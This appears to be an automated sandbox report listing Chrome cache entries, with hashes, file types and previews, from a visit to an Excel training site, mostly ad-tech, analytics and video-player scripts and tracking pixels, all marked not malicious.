SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	"https://imp-dev.mediavine.com/record?impkey=V1:TZSRXnkOCpPAzSoT:hUG3HfjIw4fFmVBezFyAhVor9c9KzwT932FnfaGYykzvKskgpetMWEg8Xg8JwVJZwg==&slot=universalPlayer&page_url=https://earnandexcel.com/courses/power-query/&site=earn-and-excel&path=/courses/power-query/&secure=1&sessiondepth=4&optout=&categories=hobbies-and-interests&generator=web&bucket=53&referrer_url=DIRECT&utm_source=&utm_campaign=&dow=4&day=11&month=4&hour=21&wrapper_group=3.1.3&wswy=0&sessionId=668614997&page_view_id=1k070l0b1l0t130r1h081611160i091l&groupm=1&browser=Chrome&os=Windows&lang=en-US&s2sVersion=production&sales_cat=132&sales_safety=GGT0&sales_kw=course,earn,student,minute,commitment,videolesson,trainingdashboard,skill,day,multiplecurrency,world,mytraining,remittance,transfer,debitcard&sales_segment=GumGumVeritySeasonal-FathersDay,GumGumVeritySeasonalSegment-Backto,GumGumVeritySeasonal-MothersDay&partnerLift=improvedigitalE6M2&hb_bid=no_bid&slot_id=universalPlayer&hb_bidder=no_bidder&hb_count=0&hb_pmp=0&UR=23&URP=138&OE=0&google=0&native=0&slot_number=1&slot=universalPlayer&arrival=0&refresh=0&bidFloor=0.23&ccpa=1---&psa=&timeout=universal_player_atf_d_1100&gid=0&inview=0&grow_state=4&grow_version=7.239.1&3pc=1&illr=0&gpp=0-0-0&pps=687&pair_id=0&deprecationLabel=na&parent_adunit_name=earnandexcel&slotName=universal_player&device=desktop&country=US&offeringId=1&adProduct=stickyOutstream&oCpm=undefined"
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65447)
Category:	downloaded
Size (bytes):	586902
Entropy (8bit):	5.6222837925681555
Encrypted:	false
SSDEEP:	6144:FRPti6sY6QDchXcmjn3I2/qfXC2BdaNGnqFc6PoUEojGB8UhxR:li9YWAcqfC2bPcoYjyhv
MD5:	D11EFDEE19068370842DAC9D0A702C4E
SHA1:	081C439F9F5161A5015AD56A9A1D1D16A07D6CE9
SHA-256:	6446592766E292AE1671B0C3C6B2118A240AE422D280409BEA4B8DB94F97CDCA
SHA-512:	2A9B5A5B6DBBF183E5FB45CAE2981B940A503D194E0F37197F21A992A95A30979BAB824D51E2906C047197E284600E34709C1A7A1AD8999EB84C29D617D6594D
Malicious:	false
Reputation:	low
URL:	https://f.vimeocdn.com/p/4.29.4/js/player.module.js
Preview:	/* VimeoPlayer - v4.29.4 - 2024-04-11 - https://player.vimeo.com/NOTICE.txt */.import{_ as e,d as t,a as n,i,s as o,C as r,c as a,b as s,e as l,L as c,g as d,f as u,x as p,h as _,j as v,V as m,k as f,r as h,m as g,p as b,P as E,T as y,l as C,n as T,o as w,q as L,t as S,G as A,u as k,v as I,F as P,w as O,Q as R,S as N,y as D,z as M,H as x,R as B,A as V,B as U,E as F,D as H,M as q,I as W,J as Y,K as G,N as $,O as z,U as K,W as j,X,Y as Z,Z as J,$ as Q,a0 as ee,a1 as te,a2 as ne,a3 as ie,a4 as oe,a5 as re,a6 as ae,a7 as se,a8 as le,a9 as ce,aa as de,ab as ue,ac as pe,ad as _e,ae as ve,af as me,ag as fe,ah as he,ai as ge,aj as be,ak as Ee,al as ye,am as Ce,an as Te,ao as we,ap as Le,aq as Se,ar as Ae,as as ke,at as Ie,au as Pe,av as Oe,aw as Re,ax as Ne,ay as De,az as Me,aA as xe,aB as Be,aC as Ve,aD as Ue,aE as Fe,aF as He,aG as qe,aH as We,aI as Ye,aJ as Ge,aK as $e,aL as ze,aM as Ke,aN as je,aO as Xe,aP as Ze,aQ as Je,aR as Qe,aS as et,aT as tt,aU as nt,aV as it}from"./vendor.module.js"

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1280), with no line terminators
Category:	downloaded
Size (bytes):	1280
Entropy (8bit):	4.877414407140492
Encrypted:	false
SSDEEP:	24:kjiWKKp3BaYUejxZvzqDbwcZAb6DwcgTwcaf16DIT+JLn7q/1AMr:qpdUuMN+nI6JLwOMr
MD5:	9A22B46377B67A9E3F420FAC27D13D26
SHA1:	B310E5C7DABA5C130659D86FB3C7C799F2E7CEE8
SHA-256:	522D9683323179DCC0EEAAAE6D49DC6D6634D4C25D9693FFBE1220F5F75EFDA4
SHA-512:	16D25B081B6374DAD14E49F492BBE1B1A75E8E8E4E51697415830D2F980451BEA0A31AF0FB17DF2EBB3B8FB0D70E0CB4E647B3D35DCE2D0DABAA5F43BD6BD378
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/tab-panel.min.js
Preview:	!function(c){"use strict";c.fn.EdumallTabPanel=function(){function s(e){var a=e.find(".swiper-container");0<a.length&&a.each(function(){c(this)[0].swiper&&c(this)[0].swiper.update()});e=e.find(".edumall-grid-wrapper");0<e.length&&e.EdumallGridLayout("calculateMasonrySize")}return this.each(function(){var a=c(this),n=c(this).children(".edumall-nav-tabs"),i=c(this).children(".edumall-tab-content"),t=0,l=i.children().eq(t);a.children(".edumall-nav-tabs").on("click","a",function(e){e.preventDefault();e=c(this).parent("li");e.hasClass("active")\|\|(e.siblings().removeClass("active"),e.addClass("active"),t=e.index(),i.children().removeClass("active"),(l=i.children().eq(t)).addClass("active"),c(document).trigger("EdumallTabChange",[a,l]))}),a.on("click",".tab-mobile-heading",function(e){e.preventDefault();e=c(this).parent(".tab-panel");e.hasClass("active")\|\|(e.siblings().removeClass("active"),e.addClass("active"),t=(l=e).index(),n.children().removeClass("active"),n.children().eq(t).addClass("ac

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65463)
Category:	downloaded
Size (bytes):	169447
Entropy (8bit):	5.5322397506401995
Encrypted:	false
SSDEEP:	3072:GsyueQsi3+6imLTV3tyC30naoeCNu/Wo2Cang4FX22umzAqOPB+c2+7JTcALyfm7:GsyueQsi33vV3tyCEnao7Nu/J2CBQMPv
MD5:	A512DEFC98A965B83B2EEAF3DC60B965
SHA1:	8F5FB030874076CEE4852E9138FD66EB81232282
SHA-256:	227253168D00DFB509531089ED22586F51E52BA75FF9413F95B95E5680C2E0D2
SHA-512:	98BC846F2A845F92A3E3568A881AE6D2E5E82716A11560BACC61625BABF110DA010EE01AA61BB3268882FD37F19FAEC313731382C747E96A5A7D318D47FD6533
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/3.1.3/wrapper.min.js?bust=48518523
Preview:	/! For license information please see wrapper.min.js.LICENSE.txt /.(()=>{var e,t,n,i,r={5001:e=>{"use strict";function t(e,t){t=t\|\|{};this._capacity=t.capacity,this._head=0,this._tail=0,Array.isArray(e)?this._fromArray(e):(this._capacityMask=3,this._list=new Array(4))}t.prototype.peekAt=function(e){var t=e;if(t===(0\|t)){var n=this.size();if(!(t>=n\|\|t<-n))return t<0&&(t+=n),t=this._head+t&this._capacityMask,this._list[t]}},t.prototype.get=function(e){return this.peekAt(e)},t.prototype.peek=function(){if(this._head!==this._tail)return this._list[this._head]},t.prototype.peekFront=function(){return this.peek()},t.prototype.peekBack=function(){return this.peekAt(-1)},Object.defineProperty(t.prototype,"length",{get:function(){return this.size()}}),t.prototype.size=function(){return this._head===this._tail?0:this._head<this._tail?this._tail-this._head:this._capacityMask+1-(this._head-this._tail)},t.prototype.unshift=function(e){if(0===arguments.length)return this.size();var t=this._list.le

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (471), with no line terminators
Category:	downloaded
Size (bytes):	471
Entropy (8bit):	5.177794597523353
Encrypted:	false
SSDEEP:	12:YWaEAaWENK6dOpzxCA9UGGLQZHe18eOfODRWju38imKkNaZHV:ZHNDGxyGjHgDOfWRWjuXCNc1
MD5:	B20499F439A2F3DD4F591AABF183C0D6
SHA1:	6792F610B344F4ABD1930400B340A1D8516CF6BD
SHA-256:	6191D764AF55397B917A161DF2692FD9DBDB527E360C94E98E6753EDF20C06AD
SHA-512:	27A7512B1232FDA5C83FFBFDAC2196C0A1536B9920B07A138F00896A0677709FD74C9B14C6A7918D1795F367ED023D6A8C7D0833CBEC9BAB8E7304CBCB054E1F
Malicious:	false
Reputation:	low
URL:	https://widget.wickedreports.com/v2/3819/wr-4d84483e4ddfd7d3afb00685f0750c13.js
Preview:	;window.wrWidgetSettings=window.wrWidgetSettings\|\|{'clickbank':!1,'hubspot':!1,'legacyBrowsers':!1,'gClick':!0,'organic':!0,'minTimeMinutes':2880,'organicDomains':['earnandexcel.thrivecart.com','earnandexcel.com'],'paypalEC':!1,'facebookOCT':!1,'cId':3819};window.loadWR=window.loadWR\|\|function(n){var e,a=document.getElementsByTagName('head')[0];e=document.createElement('script');e.async=1;e.src=n;a.appendChild(e)};loadWR('https://widget.wickedreports.com/widget.js');

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.898492952937599
Encrypted:	false
SSDEEP:	6:YVgNOfacwpzrJjoVScA6cxZxx+AfFElsRJiBo34cWLacmVEsZb/Bb7Wxa4:YKNOCjpzryVSc5gZxDzviBoyLacaJ1WX
MD5:	3AE3B517716FEA444D45DC891340991F
SHA1:	2D9AC0880A2BC2D0EEED477E2971E9E6531E5F51
SHA-256:	1113BE2C67BCEBB8A9E41F18D61A369C96067D05F4C1CC5F27355F0200A31224
SHA-512:	68B6669F0247B00AFB9D05F8C78065954AA30EE2340D0224FFADC2FE96F68CF27DFE78B5AE1250C76218051DB47F257E7F2F1B564CB003C7CEC9C11F6038408B
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:4x46Cwo8AUZgRniV:knvSq8FNt26UKTVTnxC8vY1QqLvaPgwM0lClnL1Ij8OW2V/Pa9Jwksw0FYwOySwa","adx":"V1:79YYhyKcvEkz/W/L:4bBzC4vzekfUPvBHR+NZHW7/RrC5l1HggzTtDD4Vv3lRt0kdjv51uKsvo6L55gDXnpuyUm/4EMVFHnkhw2+ynPPXGddS","unf":"V1:b+AB5i+tngrnCqDV:hKj9B2Vj7G9bsJVCIQaBIAuCIZb2Bgdun6vei1WPa5vtyMFgbWV+K4xVqAit6fHU+A=="}

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	1561
Entropy (8bit):	2.5857114762260935
Encrypted:	false
SSDEEP:	24:JGY7peHU2k7N7DRhoZNtwNKzbEqNpdGY7peHU2k7N7DRhoZNtwNKzbEqNp+:uHU2k7N7YtG8EqNEHU2k7N7YtG8EqNM
MD5:	5C98B31F0E318509324A3E12D7D3F2F5
SHA1:	8011ECFD0F3BB160029CC0CC8DFE6352DF40DDF2
SHA-256:	784A81D7ABBD8E4670546720EB51F5C55607597AA5189F7674558148C08DEA21
SHA-512:	85DED69024B2943A5E2D2254EA03D2F066A5B8195AC644DFF26729396F863D9447C9E4931F16ED658CBD3E23ED9FE8356427DB241F99C2C9EDF151B5F44E64E2
Malicious:	false
Reputation:	low
Preview:	GIF89a............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f..............3..f.............3..f.........3..3.33.f3..3..3..33.33333f33.33.33.3f.3f33ff3f.3f.3f.3..3.33.f3..3..3..3..3.33.f3.3..3..3..3.33.f3..3..3..f..f.3f.ff..f..f..f3.f33f3ff3.f3.f3.ff.ff3fffff.ff.ff.f..f.3f.ff..f..f..f..f.3f.ff.f..f..f..f.3f.ff..f..f.......3..f.........3..33.3f.3..3.3..f..f3.ff.f..f.f......3..f.............3..f............3..f.............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f....3.f...........3..f.............3..f..............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f..............3..f.............3..f.................................................................................................................................,..............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f..............3..f.............3..f.........3..3.33.f3..3..3..33.33333f33.33.33.3f.3f33ff3f.3f.3f.3..3.33.f3..3..3..3..3.33.f3.3..3..3..3.33.f3.

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	302462
Entropy (8bit):	5.565708940804973
Encrypted:	false
SSDEEP:	3072:Gj4agSR+8bFtV8vWHsKC7eJw8jzGXmJxm3dVNzzYrWTrWysWgYfR0u7RCSoa/lT:w4gRp8+HsKSu0sSPNzzYrgrWyXfRzRC4
MD5:	860CCA66B42F485ED40D256F6AE41780
SHA1:	96D49A4A07AA5D5CFC68BE7E4C137FFB18FEEAF0
SHA-256:	B8F5D45FBCC7A5E347AE76D16B43231C9E1623254EE3BBE7B96B7EB274EA4004
SHA-512:	1F3EF89EBE1269617F69A8F1BFA3C68A78696C5BFDA016A4E1A66501D9631B2B1315740D73CBD2C4A0BDDDFD5AE5851767D3BECC907E53167777CBEFCC7E29E2
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-NLTTYMX3TH
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":15,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_email

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 296 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33833
Entropy (8bit):	7.9813046724132946
Encrypted:	false
SSDEEP:	768:KTHLZSGy4sdaDakFtEJkiAjpe6F3qq+lQS0ve4PrQAOUCh082A:mDy4sdaDaNJkiYslMrQDBhT2A
MD5:	02B83183CCBF50A0635E7BCD105D3380
SHA1:	65104E8954390E032E1B2E006EA36B7298496821
SHA-256:	5E5F8A13FAE2407A197790F11C9C1EB2D9ECE6A641AACFDAECBE0718759579B7
SHA-512:	5DD07BB8AE775E94899509762289B35B395D4CF02CF17721857EE5B132167EA2EE7C971090635A8BCAE1E7244050D984D3E587FBA40A27A6C6640D2C645EC411
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...d.....5.....IDATx...Y.$I...~...f..gde........?a^f.3....P..56_lSUY...X.53_b..DY..0.EUT.....{..^y...K..%.((o....P}....d~>..s8'8'...+........'......6"\|.i....>........O_..b.....!.Hl.....<..B...@.yq..G.-.{.w..\_..}@D.q..X...0?.r?...b...8.E).P...w"g.MP....S.=......VQRIL7}...J...-..2Z..u.(..c.I).........q../.s..=..=.....).A<...-.78..>z7.2.B....,.{m.(...]k..%.P. .....P.t...@V....O................p}.y../_2....\|.s...;...v.~=.\|..... ." .:[.......!.}.{p.u....y.y..l.LuD.@)hN0f(.4SJyt]..@.vM.u..kB......d..}\|.....]..'...=.5.6.(....D."..M.....nZ..i.bT\|.. ./.i3.=......iq.%....dJQ..p.Q..........}..QU...G..6..<....TQ.v..E.......Zr]x...m...fJ..1.....uP...m..OAE.u...f...2P.\.TG(.W...\..eAI(N.}.%P.~..jA...u}..../>.6.mQ-..P.mR.e).5.}@ z...x..D[k...u........zp....q2..i..j.:.(...../..W+...J}o........G.....%..wX.(.........tSr.2.^...xq...\|..3._]..mh.H.J........4}...e.V..&..-N.!.E...C.-l[..H........z_....fS..=5..LW.P...EM.;..d{.

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	67625
Entropy (8bit):	5.154755073599502
Encrypted:	false
SSDEEP:	768:+nbbA4MFx0B/cDvmApfYA8Qi3UgdSNKZXsvXAsDI:ObbA4MFxnmKYhp8Nes4eI
MD5:	6DC1DEE97C944B2A09A00C800BAA7E75
SHA1:	BD99C4C0C03F241F65CAFA0D4DD449E2078DD8FB
SHA-256:	2C489F0F20F27ADD98F6FF54881E4556579C560DA4B4E25883E2A098F0DD002D
SHA-512:	D31A56A48B8FB278D984CD14CE80EB38E24FAFBB0A0C7127790ECC40721B7FDC5E3ED7806CE6E2B71E146FE32784EC79A10B9D505552AF94475CEDEE404D3C6C
Malicious:	false
Reputation:	low
URL:	https://cdn.opecloud.com/ope-dmplite.js
Preview:	!function(){"use strict";var t=function(){function t(t){this.funnel=t,this.initialCallPromise=null,this.maxCallDelayMs=2e3}return t.prototype.callPixel=function(t,n){var e=this;return this.funnel.withRaceProtection((function(){return new Promise((function(r){Object.entries(n).forEach((function(n){var e=n[0],r=n[1];void 0!==r&&t.searchParams.append(e,r)}));var o=new Image;o.addEventListener("load",(function(){1==o.width&&1==o.height?r({isThirdPartyTrackable:!1}):r({isThirdPartyTrackable:!0})})),o.addEventListener("error",(function(){1==o.width&&1==o.height?r({isThirdPartyTrackable:!1}):r({isThirdPartyTrackable:!0})})),window.setTimeout((function(){r({isThirdPartyTrackable:!1})}),e.maxCallDelayMs),o.src=t.toString()}))}))},t}();function n(n){return new t(n)}var e=function(){function t(){this.initialCallPromise=null}return t.prototype.withRaceProtection=function(t){return null===this.initialCallPromise?(this.initialCallPromise=t(),this.initialCallPromise):this.initialCallPromise.then((fun

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	142
Entropy (8bit):	5.545741594812242
Encrypted:	false
SSDEEP:	3:YW/i68pTS2Qc563vsgJRRF4WXdhmhapx/B8uxhUdO/Imz4M++QxUYqJu8Pj:YWyQcIfsgJRAWXdh3v/bz5AUYML
MD5:	2FE109E301B05E0AC19EAE7016F53BD2
SHA1:	20A868F805678C1D8BC346C3361E72BDF31AE111
SHA-256:	5C3CEEE5B5511943777D42F4A06DE5BF3C4B299988CAF7A01D0D69BB11A3DE4B
SHA-512:	15B7C96C848015D345F87D9E9DA1046FA7E88307B94403BB92F0DB918047AD4A605BA04EDED1E3BA890F31B48C0A0C4A739FA7CAFFF00F287B31FB3D1F83C6CD
Malicious:	false
Reputation:	low
URL:	https://pdmp.papi-public.us-east-1.tagger.opecloud.com/v1/targeting?url=https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F&fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec&tenant=b4
Preview:	{"s":"pV3/rGMvpPSLvwokyvTW9ALqcXgdYNcEJgTZElccUAWsYL32plScDCZL/58=","t":"7wYuxvOhsTk1CxA1x+cMJhvERCV/DvJqV1VJev55RwW4Gg==","kid":2,"ttl_s":69}

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (406)
Category:	downloaded
Size (bytes):	564
Entropy (8bit):	4.909348417368354
Encrypted:	false
SSDEEP:	12:JYXCA6AVeGkoJkRBEx1XU34XR3oWRlRQpw/UAXqxUA2P2EUAFo:JYSA6XGRkRB61q4h4wzX4U2Ge
MD5:	4F8EA2EA4AE140C44D6EA478850CBA88
SHA1:	E35B8614D54512A8E670E505308E44D0A62AF5E6
SHA-256:	62922B57D49268D6C9FA2A19522040259B9DD1F531B1F3C901C953A5977ABFCF
SHA-512:	80050910892E4E6CFF9EC9466155C2FFB30E7CE278A6DBDAB32EA77050113980365D6A47C0E7309865A24BED9386A9B572244AEF3B08DA96BC0577065E6C6B5E
Malicious:	false
Reputation:	low
URL:	https://keywords.mediavine.com/keyword/web.keywords.js?pageUrl=https://earnandexcel.com/courses/power-query/
Preview:	. window.$adManagementConfig = window.$adManagementConfig \|\| {};. window.$adManagementConfig.web = window.$adManagementConfig.web \|\| {};. window.$adManagementConfig.web.keywords = {"status":"PROCESSED","sales_kw":"course,earn,student,minute,commitment,video lesson,training dashboard,skill,day,multiple currency,world,my training,remittance,transfer,debit card","sales_cat":"132","sales_safety":"GGT0","sales_segment":"GumGum Verity Seasonal - Fathers Day,GumGum Verity Seasonal Segment - Back to,GumGum Verity Seasonal - Mothers Day"};.

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 747, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	149917
Entropy (8bit):	7.847331208672053
Encrypted:	false
SSDEEP:	3072:CkHoz85p6mcFFhryHP88qcAMT280tOKfONTO1H0OoOpwI2bR0XcI9yv+CuOEp1DJ:CVz8f6mcFFhs8WAMKuKm2iIKW/9yWOEF
MD5:	F2291F82B00122724FA38153CC73DCC9
SHA1:	51FB0D04AACB3B2D9051751DB6C0B461CE9B999C
SHA-256:	8F6936E1B390B919536EDC74ECC6F4F5747217F0B5AD9C4CD18F521EA9070022
SHA-512:	DCD2F499DBF237BF30B782EE040342810B90DB1663066D1F5C33D1DED2A02E7F2476CBAECE9C1EA791A04CC9F63E9167B07D6926D35D0BA322FF7D13CF29A57C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............+.>....PLTE......... .................'..( "...0&&.........+..%..-"%0! ......%. ...9(&0A9D_R1)......#..,;2('&=/.9# Ni`)..9-(/*D.(:THGeY....gig..<MF.g2.....@(&F;3....2GA.......=G@,4.ETMEOD...GB>z...\|D4.N\M.(".\|`;C9_ua..z..vii........{zc\|i...n.z..?[L[xj....n'D9.u.lS...Rrf...Vq_`}sPdS....0'...t..RlX...R<2.dJ!;/2/0RQFwssQG>...hba...983...0OCa@0.u[{..=9=..........^RJf5#P`YO3+i.s...^h[Y, L%....w.{d.{....%....nxhr=+....._YZ.G1....ZCsg]pJ;..._ab]^P....jaT...@.....NHJjop.....q...cR...`H=....oY....yn...UQS.O:...y~.i..........ysa..xv.r......}.y..u..........~TE...{...\N...lYGr....pwy....aN.>+.te.TA.ja..mf...F6Hhp.d'..../ ...8!...Stx...x/....M,..FMOe&.1.xGU.t.......Y^x..Q..}..O...g+"H.4..<+...]...dh.A>...+ij.......lF...4-d..c..wQO..........p.....fu$...FXIDATx...k.e...,W1..j..I.`...n;9tL.JF.A.....5.#..v1k....X.I"dT.].F.y.]7...R.>....sv...y.....=K....\|.s.af...../^\|....XZ.vi........-.......g.8~:..<.VW..N...5....\_}}..C.6/._.

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 192x192, components 3
Category:	dropped
Size (bytes):	18034
Entropy (8bit):	7.947918672818696
Encrypted:	false
SSDEEP:	384:x2vNLXJFcoAbpvqMm1bLOOL3tS5f+UZ2F2u37fiZuaIZsAG2VzAm7Pu:QNZFCdqMEnPTtS52UgbJZsf2N6
MD5:	DE86AD9594F97B028A159F6E39BAACAB
